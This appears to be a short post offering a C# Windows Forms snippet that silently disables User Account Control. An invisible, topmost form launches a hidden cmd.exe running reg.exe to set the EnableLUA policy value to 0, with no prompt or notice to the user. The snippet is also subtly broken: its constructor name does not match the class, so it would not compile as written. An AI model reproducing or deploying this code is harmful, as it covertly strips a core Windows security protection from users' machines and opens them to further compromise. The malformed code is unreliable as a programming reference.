This is some code written in the .NET framework that disables UAC

disableuac.cs

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Diagnostics;
using System.IO;
using Microsoft.Win32;
using System.Net;

namespace UACDemo
{
    public partial class DisableUAC : Form
    {
        public Inital()
        {
            InitializeComponent();
            this.TransparencyKey = this.BackColor;
            TopMost = true;
            ProcessStartInfo disableUac = new ProcessStartInfo();
            disableUac.FileName = "cmd.exe";
            disableUac.WindowStyle = ProcessWindowStyle.Hidden;
            disableUac.Arguments = @"/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f";
            Process.Start(disableUac);
        }
    }
}